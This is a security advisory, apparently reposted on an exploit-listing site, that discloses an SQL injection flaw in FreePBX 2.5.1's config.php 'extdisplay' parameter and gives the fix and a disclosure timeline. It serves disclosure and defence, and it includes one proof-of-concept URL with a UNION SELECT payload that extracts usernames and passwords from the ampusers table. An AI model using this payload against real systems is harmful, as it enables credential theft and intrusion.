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SQL injection in FreePBX 2.5.1

Author
Cybsec Labs
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-10696
Category
web applications
Date add
18-01-2010
Platform
unsorted
==============================
SQL injection in FreePBX 2.5.1
==============================

Advisory Name: SQL injection in FreePBX 2.5.1
 
Internal Cybsec Advisory Id: 2010-0103
 
Vulnerability Class: SQL injection
 
Release Date: 15/01/2010
 
Affected Applications: Confirmed in FreePBX 2.5.1. Other versions may also
be affected.
 
Affected Platforms: Any running FreePBX 2.5.1
 
Local / Remote: Remote
 
Severity: Medium – CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)
 
Researcher: Ivan Huertas
 
Vendor Status: To be confirmed
 
Reference to Vulnerability Disclosure Policy:
http://www.cybsec.com/vulnerability_policy.pdf
 
Vulnerability Description:
 
A vulnerability has been discovered in FreePBX, which can be exploited by
malicious people to conduct SQL injection attacks.
 
Input passed via the "extdisplay" parameter to config.php is not properly
sanitized before being used in a SQL query. This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.
 
The vulnerability is confirmed in version 2.5.1 Other versions may also be
affected.
 
Proof of Concept:
 
http://xxx.xxx.xxx.xxx/admin/config.php?display=did&didfilter=&extdisplay=12%22%20union%20select%20username,password,sections,%221%22,%222%22,%223%22,%224%22,%225%22,%226%22,%227%22,%228%22,%229%22,%2210%22,%2211%22,%2212%22%20from%20ampusers%20where%20%22%22=%22
 
Impact:
 
Execute arbitrary SQL queries.
 
 
 
 
 
 
Solution:
 
Update to FreePBX 2.5.2 or greater
 
•   http://www.freepbx.org/trac/changeset/7594
•   http://www.freepbx.org/trac/changeset/7640
 
Vendor Response:
 
2009-30-12 – Vulnerability was identified
2010-01-07 – Vendor contacted
2010-01-15 – Vulnerability published
Patches were available before the vulnerability was discovered.



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